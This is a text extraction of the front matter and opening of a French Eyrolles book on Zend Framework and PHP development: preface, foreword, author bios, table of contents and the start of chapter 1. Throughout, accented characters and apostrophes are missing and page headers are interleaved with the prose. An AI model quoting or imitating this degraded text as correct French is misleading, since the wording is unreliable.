Vous êtes sur la page 1sur 466

du

les Cahiers

Programmeur

Bien dvelopper en PHP


Julien Pauli Guillaume Ponon
Prface de Wil Sinclair

du

les Cahiers

Programmeur

Zend
Framework

Du mme auteur
G. Ponon. Best practices PHP5. Les meilleures pratiques de dveloppement en PHP. N11676, 2005, 470 pages C. Pierre
de

Geyer, G. Ponon. Mmento PHP et SQL. N11785, 2006, 14 pages

Collection Les cahiers du programmeur


P. Roques. UML2. Modliser une application web. N12389, 6e dition, 2008, 247 pages A. Goncalves. Java EE 5. N12363, 2e dition, 2008, 370 pages E. Puybaret. Swing. N12019, 2007, 500 pages E. Puybaret. Java 1.4 et 5.0. N11916, 3e dition, 2006, 400 pages J. Molire. J2EE. N11574, 2e dition, 2005, 220 pages R. Fleury Java/XML. N11316, 2004, 218 pages J. Protzenko, B. Picaud. XUL. N11675, 2005, 320 pages S. Mariel. PHP 5. N11234, 2004, 290 pages

Chez le mme diteur


E. Daspet, C. Pierre
de

Geyer. PHP5 avanc. N12369, 5e dition, 2008, 844 pages

J.-M. Defrance. Premires applications Web 2.0 avec Ajax et PHP. N12090, 2008, 450 pages D. Seguy, P. Gamache. Scurit PHP5 et MySQL. N12114, 2007, 250 pages C. Porteneuve Bien dvelopper pour le Web 2.0. Bonnes pratiques Ajax. N12391, 2e dition, 2008, 674 pages A. Boucher. Mmento Ergonomie web. N12386, 2008, 14 pages V. Messager-Rota. Gestion de projet. Vers les mthodes agiles. N12165, 2007, 252 pages H. Bersini, I. Wellesz. Lorient objet. N12084, 3e dition, 2007, 600 pages P. Roques. UML2 par la pratique. N12322, 6e dition, 368 pages S. Bordage. Conduite de projet Web. N12325, 5e dition, 2008, 394 pages K. Djaafar. Dveloppement JEE 5 avec Eclipse Europa. N12061, 2008, 380 pages J. Dubois, J.-P. Retaill, T. Templier. Spring par la pratique. Java/J2EE, Spring, Hibernate, Struts, Ajax. N11710, 2006, 518 pages T. Ziad. Programmation Python. N11677, 2006, 530pages

Collection Accs libre Pour que linformatique soit un outil, pas un ennemi !
Joomla et Virtuemart Russir sa boutique en ligne. V. Isaksen, T. Tardif. N12381, 2008, 270 pages Open ERP Pour une gestion dentreprise efficace et intgre. F. Pinckaers, G. Gardiner. N12261, 2008, 276 pages Russir son site web avec XHTML et CSS. M. Nebra. N12307, 2e dition, 2008, 316 pages Ergonomie web. Pour des sites web efficaces. A. Boucher. N12158, 2007, 426 pages Gimp 2 efficace Dessin et retouche photo. C. Gmy. N12152, 2e dition, 2008, 402 pages La 3D libre avec Blender. O. Saraja. N12385, 3e dition, 2008, 400 pages avec CD-Rom et cahier couleur ( paratre). Scenari La chane ditoriale libre. S. Crozat. N12150, 2007, 200 pages Crer son site e-commerce avec osCommerce. D. Mercer, adapt par S. Burriel. N11932, 2007, 460 pages Russir un site web dassociation avec des outils libres. A.-L. Ubuntu efficace.. L. Dricot
et

D. Quatravaux. N12000, 2e dition, 2007, 372 pages

et al. N12003, 2e dition, 2007, 360pages avec CD-Rom

Russir un projet de site Web. N. Chu. N12400, 5e dition, 2008, 230 pages

Julien Pauli Guillaume Ponon

du

les Cahiers

Programmeur

Zend Framework
Bien dvelopper en PHP
Prface de Wil Sinclair

DITIONS EYROLLES 61, bd Saint-Germain 75240 Paris Cedex 05 www.editions-eyrolles.com

Dessins douverture des chapitres : Guillaume Ponon.

Le code de la proprit intellectuelle du 1er juillet 1992 interdit en effet expressment la photocopie usage collectif sans autorisation des ayants droit. Or, cette pratique sest gnralise notamment dans les tablissements denseignement, provoquant une baisse brutale des achats de livres, au point que la possibilit mme pour les auteurs de crer des uvres nouvelles et de les faire diter correctement est aujourdhui menace. En application de la loi du 11 mars 1957, il est interdit de reproduire intgralement ou partiellement le prsent ouvrage, sur quelque support que ce soit, sans autorisation de lditeur ou du Centre Franais dExploitation du Droit de Copie, 20, rue des Grands-Augustins, 75006 Paris. Groupe Eyrolles, 2009, ISBN : 978-2-212-12392-0

Prface

Lors de la premire confrence Zend/PHP en 2005, la socit Zend Technologies a prsent le Zend Framework comme tant un lment cl et dcisif dans le projet de la communaut PHP. cette poque, PHP tait connu pour tre la seule solution de dveloppement web combinant puissance et simplicit de mise en uvre. Cependant, nombre de dveloppeurs saperurent que leurs simples scripts PHP, qui traitaient la fois laccs des bases de donnes, la logique mtier et laffichage, ne pouvaient tenir la dure face la complexit croissante des applications web modernes. Est alors devenue vidente la ncessit de structurer les applications pour les rendre plus faciles maintenir et tirer parti du potentiel de PHP 5. Le Zend Framework a certainement beaucoup contribu lorganisation et la structuration des applications PHP 5, tout en ayant rsolu dautres problmes inhrents au dveloppement web. Il fournit des composants dutilisation courante qui sont tests (les tests couvrent au moins 80 % de lensemble du code) de manire ce que les dveloppeurs PHP ne rinventent pas la roue chaque nouvelle application. En outre, les standards de codage quil met en uvre amliorent et facilitent la gestion des projets engageant des quipes entires de dveloppeurs. Plus important encore, utiliser le Zend Framework encourage les bonnes pratiques de dveloppement PHP, puisque lui-mme les met en application. Nous incitons ainsi les dveloppeurs amliorer leur code en leur apportant ce que nous pensons tre des fondations solides, crites proprement. Au fil des annes, le Zend Framework sest enrichi de nombreux composants, a vu exploser le nombre de ses contributeurs et utilisateurs ainsi que le nombre de ses dploiements, au point quil est devenu le framework leader pour les projets PHP des plus modestes aux plus ambi Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

tieux, quils soient mens par des amateurs ou par les plus grands comptes. Utilis partout dans le monde, on le trouve au cur dapplications aux usages aussi divers que le recensement des gnocides en Afrique ou llevage danimaux virtuels en ligne. Nous sommes trs fiers de constater que de tels projets aient pu voir le jour grce cet outil puissant et polyvalent. Et de fait, nous nous plaisons croire que lexistence du Zend Framework a jou un rle dans ladoption massive de technologies open source comme PHP et MySQL pour des sites web forte charge et des applications professionnelles des plus pointues. Sous laile protectrice de Zend Technologies, les dveloppeurs PHP pourront continuer, grce au Zend Framework, crire des applications la qualit sans cesse amliore. En outre, nous persisterons dans la remise en question de la plupart des compromis gnralement de mise dans la communaut web : puissance ou simplicit, bibliothque de composants ou framework, qualit ou ouverture, entreprise ou particulier. Nous sommes convaincus quavec cet outil, les dveloppeurs web nauront plus faire ces choix difficiles : tout est leur disposition. Nous esprons que cet ouvrage vous guidera efficacement dans le monde du Zend Framework pour vous mettre sur la voie du dveloppement dapplications de meilleure qualit, plus innovatrices et, surtout, qui vous donneront toute satisfaction. Los Gatos, le 29 octobre 2008 Wil Sinclair, Manager Zend Technologies, chef du projet Zend Framework

VI

Groupe Eyrolles, 2008

Avant-propos
Le monde du Web volue sans cesse. Aujourdhui, on ne parle plus de site Internet, comme ctait le cas avant lan 2000, mais bien dapplication web. Une application web exploite un ensemble de technologies trs diverses. Au dbut, un webmestre seul pouvait se charger de sa conception, alors quaujourdhui, des dizaines de personnes, aux comptences toujours plus larges et pousses, sont souvent ncessaires pour voluer vers le Web 2.0 . PHP, XML, Services web, SQL et bases de donnes, Authentification, Cryptage, HTTP, Scurit, JavaScript, Ajax, XHTML et Standards sont autant de termes relatifs une ou plusieurs technologies plus ou moins diffrentes les unes des autres, et qui pourtant interagissent les unes avec les autres. Dici quelques annes, la diffrence entre une application dite client lourd, qui sexcute de manire autonome, et une application dite client lger, qui ncessite un navigateur web, sestompera. Les programmes ont de plus en plus tendance tre orients Web. La difficult croissante lie la conception dapplications web a fait natre des solutions et des outils. Le framework en fait partie. Permettant de cadrer srieusement les dveloppements en proposant des rgles strictes de dveloppement, ainsi que des composants gnriques et prts lemploi, Zend Framework est lun dentre eux. Zend Framework est ainsi un cadre de travail pour PHP 5, langage dont ladoption ne cesse de crotre en entreprise, pour des projets toujours plus importants et stratgiques.

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Pourquoi cet ouvrage ?


Cest lintrt croissant pour les frameworks, et en particulier celui de Zend dj adopt par de nombreux grand groupes dans le monde, qui a motiv lcriture de cet ouvrage. travers cet outil, chacun pourra juger combien PHP est mr pour le monde de lentreprise. Exploiter les bonnes pratiques du gnie logiciel et les appliquer PHP a permis de monter lun des frameworks les plus puissants du march, qui rend possible le dveloppement dapplications web stratgiques et complexes. Pourtant, limage exacte de PHP, la matrise de cet outil est loin dtre simple, mme si sa prise en main ne prsente pas de difficult particulire. Cest ainsi que Zend Framework dispose dun examen de certification officiel, pilot par Zend. Cet ouvrage apparat donc naturellement comme une prsentation de Zend Framework et son utilisation, travers un exemple concret et des dtails prcis sur de nombreux modules composant le framework.

qui sadresse ce livre ?


Cet ouvrage cible avant tout le dveloppeur, mais aussi le chef de projet, larchitecte ou encore le dcideur. Le choix dun framework est lourd de consquences. Cet cahier aborde donc Zend Framework en largeur dans un premier temps, puis dans le dtail de ses principaux composants. Il se rvle galement tre une ressource complte qui aborde de nombreux prrequis dans ses annexes. Dcideurs et chefs de projet : dcouvrez comment Zend Framework organise et cadre le dveloppement de vos projets, de lanalyse la conception, en passant par les tests et le dploiement. Dveloppeurs et architectes : apprenez matriser les composants de Zend Framework et voyez comment celui-ci vous met sur une voie qui vous permettra de travailler en harmonie, grce des bonnes pratiques de programmation telles que les design patterns.

Structure de louvrage
Cet ouvrage se divise en deux grandes parties : les chapitres sont consacrs Zend Framework. Une application dexemple sert de support, exposant un projet concret qui vous suivra tout au long de votre lecture pour illustrer les diffrents concepts ; VIII
Groupe Eyrolles, 2008

les annexes abordent les notions thoriques et les prrequis, autant de connaissances ncessaires pour adopter Zend Framework dans son ensemble et en faire une utilisation optimale.

Dveloppement dune application exemple


Le chapitre 1 introduit le concept de framework, pour en arriver rapidement Zend Framework. Nous y dtaillons sa structure et les avantages quil apporte. Le chapitre 2 prsente lanalyse du cahier des charges de lapplication exemple qui est utilise tout au long de louvrage. Vous y trouverez aussi les conventions de rdaction que nous avons utilises. Le chapitre 3 explique comment installer Zend Framework et comment le manipuler de manire simple et rapide, afin de pouvoir passer ensuite une utilisation plus dtaille. Une prise en main efficace des composants de base de Zend Framework sera aborde dans le chapitre 4. Ces composants sont omniprsents dans le framework, nous les tudions donc de manire dtaille. Le chapitre 5 est consacr aux bases de donnes. Notre application exemple en toile de fond, vous apprendrez de manire simple dans un premier temps, puis plus pousse par la suite, matriser un SGBD avec Zend Framework. Prendre en main rapidement le modle MVC de Zend Framework constitue lobjectif du chapitre 6. Tout ce qui caractrise ce modle avec Zend Framework y est prsent, et cela vous permettra de matriser son fonctionnement par dfaut. Aprs cette prise en main de MVC, le chapitre 7 vous plongera au plus profond du cur de ce modle, poussant le dtail jusqu prsenter tous les artifices qui le composent. Une telle comprhension est trs importante pour la matrise totale de vos applications futures. Le chapitre 8, quant lui, vous explique comment fonctionne la gestion des sessions PHP avec Zend Framework, tout en sattardant sur les concepts didentification et de gestion des droits dans une application. La gestion des langues et linternationalisation sont ensuite abordes dans le chapitre 9. Le chapitre 10 est consacr aux performances, ou comment utiliser des composants de Zend Framework permettant la monte en charge de lapplication. La scurit de vos applications tant un point crucial, le chapitre 11 explique comment mettre en place une politique de scurit efficace avec Zend Framework.
Groupe Eyrolles, 2008

IX

Avant-propos

Zend Framework - Bien dvelopper en PHP

Ouvrir son application sur le monde extrieur sera lobjectif du chapitre 12, dans lequel vous prendrez en main les composants dintroprabilit de Zend Framework et la gestion des services web. Le chapitre 13 traite dautres composants divers que notre application utilise pour grer des formulaires ou encore gnrer des documents PDF. Comment squiper pour monter une application web avec Zend Framework ? Le chapitre 14 dtaille les outils utiles un dveloppement efficace : IDE, dbogueur, profileur et tests MVC. Enfin, le chapitre 15 est un guide dans la cration de vos propres composants, dcrivant comment tendre ceux de Zend Framework, qui sy prtent merveille.

Prrequis pour bien dvelopper


Lannexe A vous apprend ce quest un framework et quoi un tel outil est utile en entreprise. Lannexe B dtaille de manire thorique et pratique les concepts gnraux lis aux SGBD et aux bases de donnes. La programmation oriente objet avec PHP 5 naura plus de secret pour vous aprs la lecture de lannexe C. Une bonne conception objet passe par la matrise des design patterns. Cette notion importante est dtaille en annexe D. Quant lannexe E, elle est consacre au concept thorique de MVC. Bien programmer en PHP passe obligatoirement par la connaissance des rouages internes du langage : lannexe F se charge de vous prsenter comment fonctionne PHP. Lannexe G est consacre au logiciel Subversion, qui permet la gestion efficace des sources dun projet. Cet outil est utilis par Zend Framework. Enfin, la testabilit logicielle est gage de qualit et de gain de temps. Tester un programme est une pratique que tente de dmystifier lannexe H, centre sur loutil PHPUnit.

Remerciements
Nous souhaitons remercier : Lensemble des personnes qui nous ont accompagnes de prs ou de loin dans cette preuve, commencer par nos interlocuteurs dEyrolles pour le

Groupe Eyrolles, 2008

temps et lnergie quils nous ont consacrs : Karine Joly, Muriel Shan Sei Fan et toute lquipe ayant particip la mise en forme de cet ouvrage. Les personnes qui nous ont soutenus et qui ont particip aux relectures en particulier Romain Bourdon, Eric Colinet et Cyril Pierre de Geyer, ainsi que celles qui sont intervenues occasionnellement sous forme de relectures, corrections ou tests des exemples Jean-Marc Fontaine, Damien Sguy, Lu Wang. Nos socits respectives, qui nous ont apport leur soutien et accord du temps : Anaska, spcialiste des formations sur les technologies open source, et OpenStates, spcialiste des missions dexpertise PHP et Zend Framework auprs des entreprises. Nos familles et nos conjoints qui nous ont galement soutenus et qui nous devons de nombreuses soires et week-ends. Et enfin, lquipe Zend de dveloppement du Zend Framework, qui nous a motivs, soutenus, et surtout sans qui cet ouvrage naurait naturellement jamais exist.

PROPOS DES AUTEURS


Julien Pauli est architecte certifi PHP et Zend Fra-

mework. Il travaille avec PHP tous les jours depuis 2003 et possde des notions de Java et de C++. Formateur et consultant chez Anaska (Alter Way), il est responsable du ple Zend Framework/PHP dans cet organisme de formation en technologies open source. Depuis 2006 (les prmices du projet), il est galement contributeur au Zend Framework en participant llaboration de son code source, la correction de bogues, la traduction de sa documentation et aux grandes lignes de dveloppement, en collaboration directe avec les quipes de Zend. Confrencier et consultant, il est membre de lAFUP et toujours prt consacrer du temps PHP. Il publie des articles dans la presse, et sur http://julien-pauli.developpez.com.

Guillaume Ponon est expert PHP et Zend Framework, fondateur et grant de la socit OpenStates, spcialise dans les missions PHP stratgiques et partenaire Zend Technologies et Anaska. Ingnieur EPITA, licenci en informatique et certifi entre autres PHP, il intervient quotidiennement depuis plus de sept ans sur de nombreuses missions dexpertise, de conseil et de formation PHP et Zend Framework, auprs de grands comptes et dentreprises francophones. Il est galement spcialiste des systmes Unix/Linux et pratique les technologies Java et C/C++. Guillaume consacre beaucoup de temps PHP et sa communaut. Il est en particulier auteur de louvrage Best practices PHP 5 et coauteur du Mmento PHP et SQL, tous deux publis aux ditions Eyrolles, confrencier et rdacteur sur de nombreux salons et revues de presse, prsident de lAFUP 20072008, fondateur et producteur de la principale mission Web TV consacre PHP : PHPTV (http://www.phptv.fr). Pour en savoir plus : http://www.openstates.com.

Groupe Eyrolles, 2008

XI

Avant-propos

Table des matires


AVANT-PROPOS ..........................................................VII 1. INTRODUCTION ZEND FRAMEWORK .............................. 1 Avantages et inconvnients de Zend Framework 2 Structure et principe 3 Les rgles de dveloppement 4 Les composants rutilisables 4 Larchitecture 4 Conseils pour bien dmarrer avec Zend Framework 5 Prrequis 5 tat desprit 6 En rsum 7 2. CAHIER DES CHARGES DE LAPPLICATION EXEMPLE ............ 9 Expression du besoin 10 Lobjectif : votre application ! 10 Spcifications fonctionnelles et techniques 11 Maquettes 12 Mises en garde et conventions 18 Conventions 18 Plateforme technique 18 En rsum 19 3. INSTALLATION ET PRISE EN MAIN .................................. 21 Tlchargement du paquetage 22 Tlchargement sous Windows 23 Tlchargement sous Unix 23 Configuration du serveur Apache 23 Tlchargement par le dpt Subversion 24 Premire utilisation du framework 25 En rsum 26 4. COMPOSANTS DE BASE ................................................ 29 Configuration de lenvironnement 30 Zend_Loader 30 Exemple dutilisation 31 Chargement manuel dune classe 31 Chargement automatique dune classe (autoload) 32 Aller plus loin avec Zend_Loader 32 Intgration dans lapplication 34
Groupe Eyrolles, 2005

Zend_Config 34 Exemples dutilisation 35 Avec un fichier ini 35 Avec un fichier XML 36 Avec un fichier PHP 37 Intgration dans notre application 38 Zend_Log 40 Quelques notions 40 Exemple dutilisation 41 Utilisation conjointe avec Zend_Config 42 Intgration dans notre application 43 Zend_Debug 43 Exemple dutilisation 43 Utilisation conjointe avec Zend_Log 44 Zend_Exception 44 Zend_Registry 45 Exemple dutilisation 46 Intgration dans lapplication 46 En rsum 47 5. ACCS AUX BASES DE DONNES ....................................49 Introduction 50 Utiliser les SGBD 51 Les SGBD utilisables par Zend Framework 51 Cration dune connexion 51 Requtes sur une base de donnes 53 Envoyer des requtes 55 Effectuer des requtes de type SELECT avances 57 Utiliser la passerelle vers les tables 59 Crer et excuter des requtes 60 Manipuler des donnes 61 Rcuprer des enregistrements 61 Modifier et sauvegarder des enregistrements 63 Agir sur les tables dpendantes 65 Performances et stabilit 68 Les bons rflexes 69 Aller plus loin avec le composant Zend_Db 69 Crer ses requtes personnalises 69 tendre Row et Rowset 71

XIII

Zend Framework - Bien dvelopper en PHP

En rsum 74 6. ARCHITECTURE MVC .................................................. 77 Zend_Controller : utilisation simple 78 Mettre en place larchitecture 78 Parcours dune requte HTTP 79 Exemple simple dutilisation de Zend_Controller 80 Mettre en place le squelette de lapplication 82 Code du squelette 83 Attribuer des paramtres la vue 84 Manipulation des donnes HTTP 85 Initialisation et postdispatch 87 Zend_Layout : crer un gabarit de page 88 Appel et contenu du gabarit principal 89 En-tte et pied de page 91 Dclaration du sous-menu 92 Gestion par dfaut des erreurs 93 Les aides daction 94 Utiliser une aide daction existante 95 Crer une aide daction utilisateur 96 En rsum 99 7. ARCHITECTURE MVC AVANCE................................... 101 Zend_Controller : utilisation avance 102 Les diffrents objets de MVC 102 Fonctionnement global de MVC 104 Excution du processus de distribution de la requte 105 Un processus flexible et avanc 108 Fonctionnement dtaill des objets du modle MVC 109 Contrleur frontal (FrontController) 109 Objet de requte 113 Objet de rponse 115 Routeur 117 Plugins de contrleur frontal 120 Plugins inclus dans la distribution de Zend Framework 123 Le distributeur (dispatcheur) 125 Les contrleurs daction 126 Les aides daction 129 La vue 142 Les aides de vue 143 Les filtres de vue 147 En rsum 148 8. SESSIONS, AUTHENTIFICATION ET AUTORISATIONS ......... 151 Notions lmentaires 152 Les sessions 153 Pourquoi choisir Zend_Session ? 153

Configurer sa session 154 Utiliser les espaces de noms 155 Gestion de lauthentification avec Zend_Auth 156 Pourquoi utiliser Zend_Auth ? 157 Les adaptateurs 157 Exemple dutilisation 158 Zend_Acl : liste de contrle daccs 160 Pourquoi utiliser Zend_Acl ? 160 Un peu de thorie sur les ACL 160 Exemple pratique 161 En rsum 165 9. INTERNATIONALISATION .............................................167 Avant de commencer... 168 Les composants Zend et leurs quivalents PHP 168 Attention aux jeux de caractres 169 Zend_Locale : socle de base de linternationalisation 169 Zend_Translate : grer plusieurs langues 170 Pourquoi utiliser Zend_Translate ? 171 Les adaptateurs 171 Exemple simple dutilisation 172 Exemple de changement dadaptateur 174 Internationalisation avance 175 Rgles darchitecture 175 Mettre en place ladaptateur gettext 176 Mettre en place les chanes traduire 176 Crer les fichiers de traduction gettext (*.mo) 177 Modifier la langue 178 Zend_Currency : gestion des monnaies 179 Pourquoi utiliser Zend_Currency ? 179 Affichage des monnaies 179 Informations sur les monnaies 180 Zend_Date : gestion de la date et de lheure 180 Pourquoi utiliser Zend_Date ? 180 En rsum 182 10. PERFORMANCES ......................................................185 Quest-ce que la gestion de cache ? 186 Pourquoi utiliser un cache ? 186 Mises en garde concernant la gestion du cache 186 Zend_Cache : gestion du cache 187 Choisir son frontal et son support de cache 188 Utilisation de Zend_Cache dans lapplication 190 Implmentation de Zfbook_Cache 190 Utilisation du cache dans lapplication 192 Amlioration des performances des composants Zend 193 Zend_Memory : gestion de la mmoire 194
Groupe Eyrolles, 2005

XIV

Exemple pratique 194 Amliorer les performances gnrales de lapplication 195 Les bons rflexes 195 Compiler Zend Framework dans APC 196 En rsum 199 11. SCURIT ............................................................... 201 En quoi consiste la scurit sur le Web ? 202 Rgles de scurit lmentaires 203 Solutions de scurit de Zend Framework 203 Les validateurs 203 Les filtres 204 Les attaques courantes 204 Le Cross Site Scripting (XSS) 205 Attaque XSS 206 Les protections 206 Le Cross Site Request Forgery (CSRF) 207 Attaque CSRF 208 Les protections 209 Sessions et Cookies 209 Attaque dune session 210 Les protections 210 Linjection SQL 212 Attaque par injection SQL 212 Les protections 212 En rsum 213 12. INTEROPRABILIT ET SERVICES WEB ......................... 215 Linteroprabilit, quest-ce que cest ? 216 Les solutions existantes 217 REST 217 Avantages 217 Inconvnients 217 SOAP 218 Avantages 218 Inconvnients 218 XML-RPC 218 RSS et Atom 218 Prparer le terrain 219 Zend_Rest : linteroprabilit simplifie 222 Principe de REST 222 Zend_Rest : REST, version Zend Framework 223 Zend_Soap : linteroprabilit par dfinition 227 Zend_Feed : pour les protocoles simples RSS et Atom 230 En rsum 235 13. AUTRES COMPOSANTS UTILES ................................... 237 Prparation de larchitecture 238
Groupe Eyrolles, 2005

Les composants (library) 238 MVC 242 Zend_Mail : envoi de-mails 243 Envoyer un simple e-mail 243 Envoyer un e-mail complet 245 Zend_Pdf : crer des fichiers PDF 247 Zend_Form : gnration et gestion de formulaires 250 Crer un formulaire 251 Assigner des filtres ou des validateurs 255 Tous les composants de Zend Framework 256 En rsum 258 14. OUTILS ET MTHODOLOGIE .......................................261 Lditeur : Zend Studio pour Eclipse 262 Un environnement intgr pour optimiser ses dveloppements 262 Intgrer Zend Framework dans lIDE 262 Personnaliser ses composants 265 Un code source de meilleure qualit grce au formateur 266 Le dbogueur 266 Analyse des performances avec le profileur 268 Tests fonctionnels avec Zend_Test 270 Zend_Test, pour quoi faire ? 270 Prise en main de Zend_Test 271 Templates Zend Studio For Eclipse 271 Gestion du bootstrap 272 crire des tests 274 Faut-il tout tester ? 276 En rsum 277 15. UTILISATION AVANCE DES COMPOSANTS ...................279 MVC et les bibliothques 280 Crer un composant utilisateur 281 Rgles fondamentales et conventions 281 Principe et organisation 282 Exemple 282 Modlisation minimale 283 Implmentation du composant 284 Driver un composant existant 288 Rgles fondamentales 288 Ajouter une fonctionnalit un composant 289 Modifier le comportement dun composant 289 Simplifier laccs un ou plusieurs composants 290 Intgrer un composant externe 292 En rsum 293

XV

Table des matires

Zend Framework - Bien dvelopper en PHP

A. QUEST-CE QUUN FRAMEWORK ?............................... 295 Dfinition et objectifs 296 Le framework au service du dveloppement web 297 Risques et prils des pratiques courantes 297 Le framework la rescousse 298 Inconvnients du framework 299 En rsum 300 B. BASES DE DONNES .................................................. 301 Quest-ce quun SGBD ? 302 Architecture dun SGBD 302 La base de donnes 303 Exemple simple 303 Notions techniques 303 Reprsentation graphique 304 Types de donnes 304 Cls et contraintes dintgrit 305 Les principaux SGBD du march 305 MySQL 305 Oracle 306 SQLite 307 Connexion PHP 307 Notions avances 309 Les ORM 309 Couches dabstraction 310 Rplication et clustering 310 C. PROGRAMMATION ORIENTE OBJET ............................. 311 Concepts de base 312 Tout est question dorganisation 312 Ranger ses procdures dans les bons rayons 313 Quest-ce quune classe ? 313 Dclarer une classe 313 Des classes et des objets 314 Implmentation en PHP 315 Visibilit 316 Construction et destruction 317 Hritage 318 Variables et mthodes statiques 320 Constantes de classe 321 Classes, mthodes abstraites et interfaces 322 Abstract 322 Interfaces 324 Final 325 Modlisation et gnie logiciel 326 Les relations entre classes 326 Lhritage 326 Lassociation 326

Lagrgation 327 La composition 328 La dpendance 328 Les diagrammes UML 329 Le diagramme de cas dutilisation 329 Le diagramme de classes 330 Le diagramme de squence 331 La rtro-ingnierie 331 Les logiciels de modlisation 332 ArgoUML 333 Umbrello 333 StarUML 334 Dia 334 Concepts objet PHP avancs 335 Les exceptions 335 La gestion des objets et les oprateurs 340 Rfrences et clonage 340 Oprateurs et fonctions relatives aux objets 341 Typage dargument 343 Les mthodes magiques 344 __get() et __set() 345 __call() 346 __isset(), __unset() 347 __clone() 348 __toString() 349 __sleep(), __wakeup() 350 Linterface de Rflexion 352 SPL : Standard PHP Library 356 Iterator 357 RecursiveIterator 358 Autres itrateurs 360 Lautoload 361 D. DESIGN PATTERNS ....................................................365 Comprendre les motifs de conception 366 Motif Singleton 367 Exemple de motif Singleton en PHP 367 Un Singleton dans Zend Framework ? 368 Motif Fabrique 368 Exemple de motif Fabrique en PHP 368 Une Fabrique dans Zend Framework ? 370 Motif Proxy 370 Exemple de motif Proxy dynamique 370 Un Proxy dans Zend Framework ? 373 Motif Observateur/Sujet 374 Exemple de motif Observateur 374 Un Observateur/Sujet dans Zend Framework ? 378
Groupe Eyrolles, 2005

XVI

Motif Registre 378 Exemple de motif Registre 378 Un Registre dans Zend Framework ? 380 Et bien dautres encore... 380 E. LE PATTERN MVC EN THORIE ................................... 383 Pourquoi utiliser MVC ? 384 Des avantages pour le travail en quipe 384 Des avantages pour le dveloppement et la maintenance 385 MVC schmatis 386 Une implmentation intuitive 386 Limplmentation MVC 388 Et les bibliothques ? 390 F. COMMENT FONCTIONNE PHP ? .................................. 393 PHP, quest-ce que cest ? 394 Principe de fonctionnement 394 Utilisation autonome 394 Utilisation avec un serveur HTTP 396 Composition 397 Environnement 398 Conseils pour paramtrer son environnement 399 Paramtrer le fichier php.ini 400 Comment optimiser PHP ? 402 Rduire les accs disque 403 Rduire les phases de compilation 403 Aperu du cache APC 404 Fonctionnement dAPC 405 Configuration dAPC 406 Fonctions et cache utilisateur 407

Fonctions dinsertion 407 Fonctions dajout 407 Fonctions de suppression 407 Fonction dinterrogation 408 G. UTILISER SUBVERSION ...............................................409 Subversion dans un projet 410 Subversion pour Zend Framework 411 Prise en main dun client Subversion 412 Installation dun client (Windows) 412 Quelques commandes Subversion 413 Liaison du dpt Subversion avec un serveur web 416 H. PRATIQUE DES TESTS AVEC PHPUNIT ..........................417 Prsentation du concept de test 418 Les tests unitaires 419 Un exemple simple 419 Aller plus loin avec les tests : PHPUnit 422 Installer PHPUnit 422 crire des tests avec PHPUnit 423 Exemple de test unitaire 423 Concept du dveloppement pilot par les tests 426 Organisation du projet 426 Dfinition de la classe de tests des Produits 426 Dfinition de la classe de tests du Panier 428 Encore plus loin avec PHPUnit... 433 Les tests de Zend Framework 435 Tests fonctionnels avec Zend_Test 436 INDEX ......................................................................437

Groupe Eyrolles, 2005

XVII

Table des matires

chapitre

Groupe Eyrolles, 2008

Introduction Zend Framework

SOMMAIRE

B Avantages et inconvnients

Une entreprise, pour avancer, doit respecter des rgles et disposer doutils pour sa gestion et sa croissance. Pour les dveloppements informatiques, cest le framework qui joue ce rle de cadre et de bote outils. Aujourdhui, de nombreux frameworks et composants existent pour PHP, tel point quil est difficile de faire un choix. Zend Framework, de plus en plus pris, fait partie de ces alternatives. Est-il adapt vos attentes et vos mthodes de travail ?

B Structure et principe B Conseils pour bien dmarrer


MOTS-CLS

B avantages B inconvnients B apports B structure B principe B introduction

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

B.A.-BA Quest-ce quun framework ?


Framework signifie cadre de travail en franais. Le principal objectif de cet outil est de proposer une dmarche et des ressources pour mieux matriser les dveloppements et gagner du temps. Lannexe A propose une introduction plus dtaille de ce quest un framework.

Ce chapitre rsume lintrt de Zend Framework pour vos dveloppements PHP. Son objectif est de sassurer que cet outil est bien adapt vos besoins et de vous donner les cls qui permettront de dbuter efficacement. Nous nous adressons ici aussi bien au technicien qui souhaite faire le choix dun outil pour ses dveloppements quau dcideur qui souhaite en connatre les avantages stratgiques.

Avantages et inconvnients de Zend Framework


ALTERNATIVE Autres frameworks PHP
En France, les principaux autres frameworks que lon trouve sur le march des applications professionnelles sont les suivants : Symfony : un projet mr qui propose une architecture solide, mais lgrement plus rigide. Il est appuy par une grande communaut dutilisateurs ainsi quune entreprise (Sensio). Prado : un framework srieux qui propose une architecture intressante et un fonctionnement trs spcifique. Copix : un projet mr destination du monde professionnel, qui est capable de rpondre de nombreux besoins. Jelix : un framework franais, comme Copix, de bonne qualit. CodeIgniter : un framework de plus en plus populaire pour sa simplicit et ses performances. La souplesse de Zend Framework est telle que, quelle que soit la base choisie, une collaboration cohrente peut tre mise en place avec dautres frameworks ou composants.

Il existe de nombreux frameworks pour PHP. Zend Framework se veut, comme PHP, simple et souple utiliser, ce qui est plus ou moins le cas dans la ralit, comme nous le verrons par la suite. Comme tout framework, il propose des mthodes, des ressources et des outils. Il sadapte PHP pour amliorer la qualit et la fiabilit du code, dans une certaine mesure. De nombreuses solutions proposes aux problmes courants sont simples, dautres comportent une implmentation avance qui ncessite un apprentissage pralable. Commenons par quelques avantages essentiels : une communaut forte qui assure une durabilit exceptionnelle autant que ncessaire. La prennit des dveloppements est fortement dpendante de celle du framework ; des concepteurs expriments et un code source test pour une qualit de code garantie. Utiliser un outil fiable rduit considrablement les risques engags ; un support commercial et technique, assur par la socit Zend, qui reste matresse des dveloppements, un gage de prennit et de fiabilit ; des conventions claires et compltes qui vont dans le sens du travail en quipe. Cela permet daugmenter la vitesse de dveloppement et de faciliter la reprise du projet long terme ; des composants souples, de plus en plus nombreux et complets, avec peu dinterdpendance. Ces ressources couvrent tous les dveloppements redondants et communs aux projets web, qui, grce au framework, ne sont plus redvelopper ; un principe de fonctionnement simple qui nimpose pas une structure rigide. Le dveloppeur est guid dans sa dmarche, sans tre contraint ni laiss pour compte ;

Groupe Eyrolles, 2008

